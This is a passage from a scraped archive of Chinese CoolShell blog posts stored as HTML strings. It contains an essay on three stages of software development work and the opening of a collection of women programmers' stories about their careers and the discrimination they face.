（注：Alexa的PV定义是：一个用户在一天内对一个页面的多次点击只算一次）</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-8367\" height=\"352\" src=\"../wp-content/uploads/2012/01/12306.png\" title=\"12306\" width=\"640\"/></p>\n<p>（<span style=\"color: #cc0000;\"><strong>本文转载时请注明作者和出处，请勿于记商业目的</strong></span>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10910.html\"><img alt=\"分布式系统的事务处理\" height=\"150\" src=\"../wp-content/uploads/2014/01/trade-off-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10910.html\">分布式系统的事务处理</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6790.html\"><img alt=\"多版本并发控制(MVCC)在分布式系统中的应用\" height=\"150\" src=\"../wp-content/uploads/2012/03/o_conditional_update_1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6790.html\">多版本并发控制(MVCC)在分布式系统中的应用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17737.html\"><img alt=\"AWS 的 S3 故障回顾和思考\" height=\"150\" src=\"../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6470.html\">由12306.cn谈谈网站性能技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-1-30 软件开发的“三重门”.html",
    "content": "<html><body><p>自从上次写了“<a href=\"https://coolshell.cn/articles/4990.html\" target=\"_blank\" title=\"程序员技术练级攻略\">程序员技术练级攻略</a>” 以来，就觉得似乎还有很多东西没有谈到，但当时没有继续思考了。而春节前有人问我，是做底层技术，还是做业务。这问题让我思考了很多，不由自主地回顾了一 下我这十多年的软件开发经历，并顺着整理分类了一下自己解决过的若干问题，还发散想了很多，经过了一个春节假期的发酵，产生了下面这篇文章。</p>\n<h4>前言</h4>\n<p>这篇文章必然是通过我的个人经历来写的。所以，我先说说个人经历吧。我的经历基本分成三个阶段。</p>\n<p><strong>第一阶段：</strong>我 刚毕业时在家乡的某银行工作，做些银行的业务系统，还搞些网络，电子邮件系统，OA什么的，因为大四的时候在老师的公司里实习，银行里的人际关系太复杂， 而且技术都包给了产商，所以在银行的每一天都觉得不能适应里面的工作环境。两年后离职，单位分的房也不要了，直接去了上海，在上海呆了两年，本来想做互联 网的，但是泡沫来了，最终去了一家做系统集成的国企公司还是继续做银行业务。这四年来，主要解决的都是一些业务上的问题，银行里的会计业务，OA业务，国 际业务，中间对公业务都非常地复杂，而且因为当时的软件开发相当的不规范，所以基本上是在一种比较混乱的状态下度过的，而银行方面又很强势，所以，这段时 间主要是做业务。所以，技术上主要是积累了如何使用那些技术。C+/Java， Windows编程，Unix编程，网络编程主要是这段时间学的，看了太多的书（我大学课程里没有C++和Java，也没有Windows/Unix和网 络编程，所以，只能拼命地看书和自学）。</p>\n<p><strong>第二阶段：</strong>然后，我来了北京，到了一家做分布式计算系统的公 司，整天和一个高性能技术高可用性的企业级的集群式的软件产品打交道（这家公司去年被IBM收购了），在这家公司把Windows/Unix和网络编程有 了更深入的了解，对我长进比较大的是明白了怎么做一个性能高，可用性高的集群式的系统，天天和底层打交道，干了4年多。然后去了一家金融信息公司，这家金 融公司主要做全球的金融信息数据处理，而我主要还是做核心数据发布系统的性能调优的项目，金融数据的实时性要求的高，数据量非常地大，高可用性要求得高， 得想尽一切办法省网络带宽，增加系统性能，还要保持高的可用性，不当机，不丢包。又干了4年多，入职的时候从国外接过来两个系统，其性能单机每秒可处理 120K message，我走的时候，我和团队把其优化到了每秒1.4M messages 的吞吐，另一个系统，从接手时的100k message/s优化到了500k message/s。这八年多的时候，全是在和这些高计算高性能的项目打交量，几乎没有什么业务，都是纯技术，积累到了很多和性能有关的高并发高计算系统 架构级的知识。</p>\n<p><span id=\"more-6526\"></span></p>\n<p><strong>第三阶段：</strong>两 年前来到了现在的做电子商务的互联网公司，还是在做一个数据处理量很大的业务系统，因为要干的是要把电子商务全球化的东西。但是，因为电子商 务的特殊性，必需要去兼顾业务的特点，而且在这家电商公司，耳读目染了很多有趣的业务难题，比如，库存计划，配送优化，等等。虽然很多东西还不明白，但发 现，用技术来解决业务难题真是太有意思了。</p>\n<p>我的这三个阶段，第一个阶段花了4年，第二个阶段花了8年，第三阶段刚刚开始2年不到，有时候我也去别的公司讲课，所以，我很有幸经历了中国软件开发的进化过程。<strong>我的经历可以说是中国软件行业进程的一个缩影，而我把这三个阶段称为</strong>——<strong>软件开发的三重门</strong>。它们分别是：</p>\n<ul>\n<li><strong>业务功能 – </strong>粗放地开垦<strong><br/>\n</strong></li>\n<li><strong>业务性能 – </strong>扩大化生产<strong><br/>\n</strong></li>\n<li><strong>业务智能 – </strong>精耕细作<strong><br/>\n</strong></li>\n</ul>\n<p>之所以加上“业务”二字，是因为我以为计算机是一个工具，其用来解决实际问题，所以，什么都离不开业务，就算是性能优化也一样，通过之前那篇“<a href=\"https://coolshell.cn/articles/6470.html\" target=\"_blank\" title=\"由12306.cn谈谈网站性能技术\">12306.cn的性能优化</a>”中的“业务分析”段落，我们可以知道业务的不同，系统的难度和解决方法就可以不同。所以，我们总是用技术在解决业务问题。<strong>业务的形态对软件的开发有决定性的作用</strong>。</p>\n<p>下面让我具体描述一下。</p>\n<h4>一重门：业务功能</h4>\n<p>这 是软件开发的第一重门，也就是掌握可以实现业务功能的技术。通常分成三块：语言+系统+数据处理。在这个阶段，主要是能掌握各种技术，比如：开发用的各种 工具（如：IDE，XUnit，Debugger，等），各种代码库和框架（如：C++的STL，ACE，Boost，等，Java的 Spring，Hibernate等），各种系统知识（如：Windows API，Unix/Linux API，TCP/IP，Socket，多线程多进程间的同步、互斥，并发安全，还包括Web平台，移动平台，等等），还需要掌握数据处理的知识（如：数据 结构，基本算法，数据库设计，数据库引擎 ，SQL等），等等……</p>\n<p>这个阶段主要是把这些不同的技术组织成可以实现业务功能的解决方案。重点是能掌握和使用技术。很多流程和方法论的东西基本上就在这一重门里。<strong>这重门主要解决的是业务实现问题</strong>。</p>\n<h4>二重门：业务性能</h4>\n<p>业务的功能搞定了以后，就是业务的性能问题了。搞定功能并不难，搞定性能是有点技术含量的事。有句话不是那么说的吗——<strong>每个人都可以搞一个网站出来，但不是每个人都能搞出能支持百万级访问量的网站</strong>。但是，我看到很多技术团队或是工程师脱离了业务，只单纯地搞性能，比如：单台服务器支持10万个TCP链接的并发，等等。这些东西虽然在技术上有点意思，但是没有业务的环境，也只能是自娱自乐了。</p>\n<p>我们可以看到一些企业开始注重这个问题了，性能问题也是最近被大家讨论得最多的问题，京东商场的性能问题，12306的性能问题，等等。</p>\n<p>当然，<strong>所谓性能不并单单指系统的吞吐力，还指系统运行时的总体性能</strong>，比如，系统安全性能，易用性能，系统的Accessbility的性能，系统的扩展性性能，等等，就像是前段时间“<a href=\"https://coolshell.cn/articles/6043.html\" target=\"_blank\" title=\"Web开发中需要了解的东西\">Web开发中需要注意的问题</a>”一文中谈到的那些事一样。这表明着你对系统的全面和深入的了解。</p>\n<p>在 这个阶段，需要对业务模型，数据流，业务流，系统架构，算法，和各种技术有深入的了解，要了解到本质上来。比如，在第一重门中，我们只需同要知 道，Java有同步关键字，在这一重门中，我们还要知道同步或互斥对性能的巨大伤害性，在第一重门中，我们只需要知道STL中的智能指针或是STL的用 法，这一重门中，我们还要知道智能指针中的refcnt的同步加锁对性能的损害，还需要知道STL中容器的size()方法在某些时候是性能很差的。在第 一重门中，我们需要知道hash表的效率，在这一重门中，我们还需要知道<a href=\"https://coolshell.cn/articles/6424.html\" target=\"_blank\" title=\"Hash Collision DoS 问题\">hash表的碰撞问题</a>。</p>\n<p>最重要的是，<strong>在这重门重点是软件的设计问题</strong>。你需要有足够多的经验能比较不同设计方案的优缺点，比如TCP和UDP，同步和异步，epoll和select，push和pull，水平扩展的各种方案…… 还记得本站的那篇“<a href=\"https://coolshell.cn/articles/4235.html\" target=\"_blank\" title=\"程序员的谎谬之言还是至理名言？\">程序员的谎谬之言还是至理名言</a>”，广度是你深度的副产品。所以，这重门是看你的技术视野有多深有多广。</p>\n<h4>三重门：业务智能</h4>\n<p>这 重门可能是最难的一重门了，如果你能进到这重门里，你应该是科学家级的程序员了。让你有智能的业务，这个事可能是顶级的技术难题了。第一和第二重门都不算 难，这重门是最难的。参看Amazon的个性化推荐系统，或是Google搜索引擎的结果个性化推荐等等（比如我输入“黑天鹅”关键字，你怎么知道我要找 的是动物，电影，音乐，还是本书？怎么让搜索出来的结果排名即公正又可个性？），你就知道，用技术来解决这种类似的问题难度可想而知，不然就不会出现如 Hadoop之类的技术了。</p>\n<p>我再举两个这重门里的业务方面的例子。</p>\n<ul>\n<li>一个例子是关于库存计划的，需要像天气预报一样 预测未来的销售量从而决定库存，所以，最简单的做法是，监测各个商品的销售统计，然后看一下最近的销售趋势，还要看一下往年的销售趋势（因为某些节假日会 是一个高峰期），还要分析一下大众的喜好变化，比如，在某影评网站上的某电影的热度其会告诉我哪个电影的DVD要滞销了，得打折卖，哪个电影的DVD要畅 销了，得多进货了。还可能需要监控新闻评论，比如某权威人士推荐了某个商品，那么我得赶快进货了。等等。这完全就是一门科学。</li>\n</ul>\n<ul>\n<li>还有一个例子是配送问题。我有一辆卡车要处理我仓库和配送站间的物流问题，我需要找到一条最经济的路线来在有限的时间内处理最多的物流。这个不是最短路径问题，这是个计划统筹学的东西。也是一门科学。</li>\n</ul>\n<p>还有近期“方韩之争”里有很多人来分析文章相似度的技术，这些东西都属于三重门里的东西。</p>\n<p>到了这重门里，可能技术反而不是重要的了，而是数学模型。<strong>这重门里主要是业务模型，数据模型和算法问题</strong>。这些东西和你的业务模型密切相关。能解决这样的问题，是真正的大牛。对于我来说，可能是高山仰止了。</p>\n<h4>后记</h4>\n<p>通过上面的说明，我们可以看到下面这些东西，</p>\n<ul>\n<li>我的那篇“<a href=\"https://coolshell.cn/articles/4990.html\" target=\"_blank\" title=\"程序员技术练级攻略\">程序员技术练级攻略</a>”里的东西只能让我们最多达到1.1 到 1.2重门。</li>\n</ul>\n<ul>\n<li>一重门像是开垦荒地，二重门像是扩大生产，三重门像是精耕细作。</li>\n</ul>\n<ul>\n<li>一重门（业务实现）里聚集着大量的劳动密集型的企业，劳动密集型的企业通常都需要流程和方法论。敏捷过程改进这类的东西只在一重门里。</li>\n</ul>\n<ul>\n<li>二重门和三重门里只有少数不多的技术型的公司。这类的公司通常非常注重技术，并且是企业文化是工程师的文化。</li>\n</ul>\n<ul>\n<li>三重门里可以产生的创新和那些可以用来改变世界的技术。</li>\n</ul>\n<ul>\n<li>国内现在的情况是，一重门优化阶段 + 二重门的学习阶段。三重门里似乎还没有什么见术。不过，我看到一些公司已在尝试三重门的东西了。</li>\n</ul>\n<ul>\n<li>作为技术人员的你，如果你想跟上时代，让自己有价值的话，你至少要达到二重门。</li>\n</ul>\n<ul>\n<li>因 为国内的技术环境等不良因素，导致大量的程序员在一重门的时候就已经失去信心，或被大浪淘沙淘掉了，所以，二重门里的程序员比较少了，但是随着年轻的一代 和技术的日趋成熟，也会慢慢多起来的，我现在已经看到这个趋势了。而三重门里的程序员成了稀缺的大熊猫。因为大量的二重门程序员干到那个时候都转管理了。</li>\n</ul>\n<p><strong>我的这些言论不一定对，但希望能让大家有启发，有所思考。</strong></p>\n<p><strong>注</strong>：本来这篇文章的标题想取成“<strong>程序员要解决的三种问题</strong>”， 但是因为过年都在关注 “方韩之争”，所以，干脆取成了这个名字。你可以认为我比较调皮，也可以认为我爱ZB，还可以认为我标题党，反正，请随意理解。（这篇文章是我的自己写 的，没有代笔，因为你一定会在这篇文章中看到属于我的用五笔打出来的错别字，当然，我无法自证，哈哈）</p>\n<p>（<span style=\"color: #cc0000;\"><strong>转载时请注明作者和出处，请勿用于商业用途</strong></span>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6526.html\">软件开发的“三重门”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-1-4 程序员因为女孩而美丽！.html",
    "content": "<html><body><p><span style=\"color: #cc0000;\"><strong>女程序员是程序员里美丽的风景线，我希望这些女程序员的经历能让我们</strong><strong>在这个“重男轻女”的社会中可以给女程员有更多平等的机会和条件，以及相应的尊重</strong><strong>。</strong><strong>因为，她们其中不乏优秀的程序员，而且在心态、态度和努力上还强过很多男性程序员，很多东西都值得我们大家<strong>向她们学习</strong></strong></span>。</p>\n<p>这篇文章的来由是因为Eva在“<a href=\"https://coolshell.cn/articles/6142.html\" target=\"_blank\" title=\"三个事和三个问题\">三个事和三个问题</a>”的评论里<a href=\"https://coolshell.cn/articles/6142.html/comment-page-1#comment-113406\" target=\"_blank\">问我女孩子是否能做技术</a>，她说她的很多师兄都告诉他不要做技术，所以，她有些不坚定了。我的回复是告诉了她我工作经历中的两个技术很牛的女孩，并且我从她们身上学到了多技术。但是，后面有一些人回复说我误导了别人。所以，我在<a href=\"http://weibo.com/1401880315/xE597iX6J\" target=\"_blank\">新浪微博</a>和<a href=\"https://twitter.com/#!/haoel/status/151856699387547649\" target=\"_blank\">twitter</a>上征集女程序员的故事和想法。我一共收到了19封邮件，其中有17封邮件来自女程序员。其中有一个已经发布了（<a href=\"https://coolshell.cn/articles/6312.html\" target=\"_blank\" title=\"一个女程序员的故事\">一个女程序员的故事</a>），其中的一些观点已经在网上传播，并得到了大家的刮目和称赞。但这并不是特例，因为下面的这些故事中，还有很多令人刮目相看的东西。</p>\n<p><strong>说明</strong>：先说明一下，这篇文章并不想讨论女孩子是不是适合做技术，这不值得讨论，因为，在“<a href=\"https://coolshell.cn/articles/6312.html\" target=\"_blank\" title=\"一个女程序员的故事\">一个女程序员的故事</a>”中我们已经知道，态度和努力才是原因，而不是性别。这里，也只是想告诉那些有“性别歧视”、“看不起女程序员”、“骄傲自大”的男程序员们，那些女程序员不为所知的一面。<strong>我把几乎所有的故事都列在这篇文章里了，我觉得我不用再多说什么了，这些故事组成的风景线，可以让你充分地了解女程序员</strong>。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6378\" style=\"width: 337px;\"><img alt=\"Ada Lovelace 世界第一个程序员\" class=\"wp-image-6378\" height=\"419\" src=\"../wp-content/uploads/2012/01/481px-Ada_Lovelace_1838.jpg\" title=\"Ada Lovelace 世界第一个程序员\" width=\"337\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6378\">Ada Lovelace 世界第一个程序员</figcaption></figure>\n<p>在看到那些故事之前，我们需要了解这样的现实——</p>\n<p><span id=\"more-6346\"></span></p>\n<ul>\n<li><strong>大多数女孩子并不喜欢技术</strong>。这点从我们的计算机专业的学校就可以看到了。我上大学时，两个专业60个同学，有15个女生，男女比例已经失衡。不过，这些女生今天基本全部都还在做技术。现在，十多年了，她们其中女生还在各个公司的技术部门，主要做 开发和运维。这些是70后的女生。对于80后和90后的女生来说，可能喜欢技术的就更少了。<span style=\"color: #003366;\">Gavin在来信中说：“我们学院每届大约有800名学生，也就是说每年整个计算机学院只有大约50名女生。在这50名女生中，据我所知有至少一半的女生从开始到最后对编程一点兴趣都没有，这一半的女生有的准备跨专业考研，有的在考公务员，有的去了跟计算机专业几乎不沾边的行业去工作了，有的在大二的时候就已经开始修双专业了”。</span>不过，在这里我们来看看做技术的女孩子是什么样的。</li>\n</ul>\n<div></div>\n<ul>\n<li><strong>女孩子在找工作的时候总是会被歧视</strong>。很多用人单位都会问女孩子生孩子的问题，这简直就是干涉隐私和性别歧视，要在西方国家里，完全可以对这样的公司进行起诉。对于这种不尊重女性的公司，无论男女，一定不会尊重员工的。所以，这样的公司一定不要去。而很多女孩也会觉得结婚生子后就不能再从事技术了，所以，她们也对技术行业的未来没有信心。<span style=\"color: #003366;\"><strong>Myma</strong>在来信中说：“女人做技术最怕就是世俗的偏见，尤其是过了30，生了孩子，明显感觉出来了，职业瓶颈”。 <strong>召娣</strong>说：“面试的时候会问有没有男朋友，下一步会不会结婚，接下来就是会不会要孩子之类的”</span>，几乎所有的女程序员都在说这个事。</li>\n</ul>\n<div></div>\n<ul>\n<li><strong>自大的男程序员看不起女程序员</strong>。女程序员在工作中受到太多的不公平的待遇了。就连平时男程序员们都以一种高人一头的语气和她们说话。这样的例子太多了，在我blog中的回复中，在平时，我们都可以看得到。而我们的大多数的女性都会因为别人看不起而失去信心。当然，这点男程序员也一样，因为技术好的人总是会看不起技术不好的人。这是技术人员的通病。<span style=\"color: #003366;\"><strong>冰</strong>在来信中说：“另一个困扰的问题是，可能女生少的原因，在本部门风言风语不断，给我个人生活不少的精神压力，平时同事也会半开玩笑的说，嫁了吧，写什么代码，而且跟一些比较资深的程序员聊天时，总会呵呵的轻笑，然后说你是程序员啊。。。部门一些杂务，通常都扔了给我处理，这个我觉得吃点亏也没什么大事，但是就是忍受不了那种受轻视的感觉”。<strong>Cathy</strong>说：“项目组的组长是一个博士，人很好但是不太会和女孩子打交道，或者说有一些性别歧视吧。”</span></li>\n</ul>\n<div>但是这些现实中的东西，对于我们的女程序员来说算不了什么！不信，你看看他们的故事。<strong>至少你会发现，做技术的女孩一点也不浮华</strong>！</div>\n<h4>女程序员的故事</h4>\n<p>下面的故事，都是原文，没有经过任何编辑。下面的故事，很多也很长，她们串成了一个非常美丽的风景线，<strong>我真的希望你有空能读一读这些故事。你会发现这些故事都有我们自己的身影</strong>。</p>\n<p>真的非常感谢大家对我的信任，给我发来这么多的故事，谢谢你们的支持。我完全相信——</p>\n<h5 style=\"color: #cc0000; text-align: center; font-size: 20px;\">程序员因为女孩而美丽！</h5>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Shaofei – 妈妈是个程序员</h5>\n<p>1.我老妈是程序员，老朽今年二十有七了，可以想象年龄。</p>\n<p>2.她20来岁的时候，背着全部门写的程序——一卷打孔纸带去北京上机调试，要排机时，还要给重要的项目让路，改程序么，就是把纸带剪断，用胶粘一段上去之类的。</p>\n<p>3.她们那个时代的程序员都是直接读机器码的，大约就是5665表示begin之类的东西，而且是用打孔纸带二进制表示的，嗯，小时候有印象，她读程序就是站在床上一手拿着纸带卷，另一手抽着读，读过的就拖到地上。</p>\n<p>4.好吧，那个时代的程序员应该坚持到现在的不多，很遗憾她中间也转了管理又转了市场，后来创创业也没成，于是现在待在家里悠闲。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">zxy_snow – 半女程序员流水账</h5>\n<p>自我介绍下，女，大三，某高校软件工程专业。</p>\n<p>我想，严格意义上来说，我还算不上女程序员吧，还是一个弱弱的学生。</p>\n<p>接触程序还是在大学开始，或者说，大一下接触ACM 之后吧。当初和朋友一起做ACM，这一年半，不停地学算法、刷题，也成就了一个水题博客（我的CSDN密码??），交到了很多其他大学的朋友，人外有人，深知这句话的意思。虽然算不上太聪明，不过不笨，另外，还算坚持，想想搞ACM 的时候，经常攒着电影没时间看放寒暑假回家看，看一个电影都能刷个题了都。现在想想，那些日子真的很开心。吃饭的时候可以想想，啊，这个应该用这个算法，和朋友们出去的时候可以一起讨论。用学长的话，有一个你可以一直在脑袋里想的问题，多好啊！庆幸自己遇到了ACM，做自己喜欢的事情，尽自己全力，在大学阶段，真的很难<br/>\n得。毕竟大学之前，就像机器一样，大家都这么做，我也就这么做，但是大学之后，是完全靠自己想法行动的，无论做什么，都是自己的意愿，这样很有成就感。</p>\n<p>还记得，大二的时候，是好孩子，不想逃课，就印了题、算法、论文去课堂上看，看懂后果断逃课回去敲代码，哈哈，不是个好孩子呢！翘了不少课。寒暑假总被老妈说，说别学了，出去玩玩，哈哈！如果她知道我学的和课业无关她会不会还这么说，嘻嘻！</p>\n<p>今年的11 月，区域赛结束后，算是告别ACM，开始踏上了网络方面的不归路。确切的说，是因为需要做课程设计。我用了俩星期从J2EE 啥也不懂然后和朋友们完成我们的项目，很开心。我想，这些学习能力、代码能力是ACM 给我的。开始一个完全未知的领域真的好难啊，各种不懂，我的“to learn list.txt”一大堆东西，慢慢来吧，近期把JS 的基础视频看完了，《正则表达式必知必》会看完了，struts2 视频正在学，寒假还有各种任务呢！哈，想想寒假我都好兴奋，寒假学习效率会很高的。当然，先应付完期末考试。引用另一位学长的话，搞ACM的要当学霸！优秀应该是各个方面的。</p>\n<p>这次寒假的主要任务是做学校的在线测评系统，怎么说呢，我觉得这是又一件我真心想做并且想把它做得完美的东西。这样的感觉很少有了，但是这次，我真心想把它弄好，所以学架构，写需求分析，数据库设计，学各种需要的知识，但是总感觉，学得越多，自己越需要学的东西就越多，不过，只要开始学了，就有进步的。</p>\n<p>不知道符合要求不，似乎又写了一篇流水账，所以说我觉得我还不算是程序员，不过未来很希望成为一名程序员，写代码多开心呐！</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">璀璨 – 时刻准备着</h5>\n<p>我：大四在一家叫食草堂的公司做网络管理及网店运营，但基本用不到专业知识。毕业后男朋友坚持不让我再随便找工作，他一个人挣钱并供我去学习java语言，学习了8个月找到了一份做ip网管软件的公司，男友在一家培训机构做教师，后来渐渐觉得不快乐不充实，被封闭在这样的空间内，不能去接触新技术新人，视野渐渐狭窄。于是我们一起辞职从天津来到了杭州，只面试了一家就来上班了，当时觉得自己能力有限，不应该是我挑工作。。。在这里做手机阅读网站，接触不到数据库，我们负责的是中间层，将数据从接口取出展示在页面上，由于我工作积极主动活泼开朗，喜爱解决疑难杂症，又爱组织这个那个的，PM将我提升为开发组负责人，但是转眼一年多过去了，我并没有觉得有成就感，相反觉得自己在技术上一事无成、在管理上又不专业，不想走管理的道路。这一年来我和男友去上海参加了几次技术大会，每回回来都会热血沸腾，我工作很忙又懒惰，导致技术水平一直无法提高，很多书都没看。每天都有强烈的自责感，但又觉得没有学不会的东西，所以就无法放弃。也因为自己对技术能力表示质疑，不敢去大的公司应聘，导致现在总是时刻准备着。。。</p>\n<p>回想这些年，我心中所树立的理想、信念，我对it行业的向往、甚至我现在的自责感，都和男友对我的影响有关，他的眼界和思考能力要远高于我认识的人，所以有时候我想我的某些思想是依赖于他的更新而更新的。是那种容易被别人感化的人。</p>\n<p>说说其他的女程序员吧，她们之前的人生经历我不说了，就聊一聊我认识的几种女生在工作上的类型吧。</p>\n<p>我的同事A：刚毕业没多久的小女生，我每天从男友那里或者我自己这里获得的最新新闻和哲理我都会讲给她听，她认真听，回去也看书，每次都会骄傲的对我说又看完一本了，但技术始终上不来，这大概是那种应试教育下的女生代表类型，就像我们计算机系当年得前三名的女生一样，在实际工作后比不上倒数几名的男生。</p>\n<p>我的同事B：已经做妈妈了，工作出色，考虑事情全面，只是她的生活完全和世界脱轨，新事物几乎不接触，新技术也是，但是如果工作用到她会积极去学，并且能把工作做好，对未来没有规划，过好日子就行。</p>\n<p>我的同事C：毕业时是C的佼佼者，毕业后一年多就落后了，被爱情和无聊的日子所累，也总是自责，但找不到学习的方向。</p>\n<p>看过这么多女程序员的状态，对于自身没有坚定信念和方向的我们来说，我觉得工作环境真的很重要，每天身边是什么人在交流，是什么人在一起工作，团队氛围如何，都会潜移默化影响着每个人，自身的努力和态度也固然不可忽视。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">冰 – coding是我们的共同语言</h5>\n<p>昨天见到了你的关于女程序员的征文，也趁着年末，给个小小的回顾自己吧。也算不上什么经验，只是谈下个人经历感受。</p>\n<p>上大学第一天就知道，班里面只有4个女生，但也并没有任何特殊优厚待遇，一般开什么班会，都是女生迁就男生，大老远跑他们那边去开会，常感受到的是，特别容易被老师或同学质疑，这个是你做的吗？你完成上机实验了吗？要独立完成等等。。。</p>\n<p>印象比较深刻的是，有一次，电脑坏了，找男生修，结果他说身为计算机专业的女生，连个都不会，在以后的日子里，我就没有再去麻烦过他，也许他们是那些所谓的Geek，但我理解不了这份傲慢，牛人多的去，尤其在我现在工作的公司，一位资深架构师，不论问题大小，都会给你很好的解答，并进一步发散问题，每次聊天都受益匪浅。当然这些也只是少数，大学里面是最好的学习环境，而且很奇怪地，我发现，学习好的女生，都是在一个宿舍，而不学无术的，又会在一个宿舍，工作以后，大半都没有再从事计算机方面的工作了，要么考个公务员，要么做个辅导员，或去个银行什么的。同生同是，一个宿舍里，好像就是一场编程的竞赛，谁更努力，谁更有资本炫，也许这是学习的动力。</p>\n<p>说下出来毕业出来找工作，当时确实茫然，展望整个专业，本来就女生不多，还有大半都去考研考公务员等等的，觉得自己出路在哪啊，男生这么优秀，你凭什么跟他们一拼高下，一次又一次的经历招聘会的沮丧，信心都快打击光了。后来，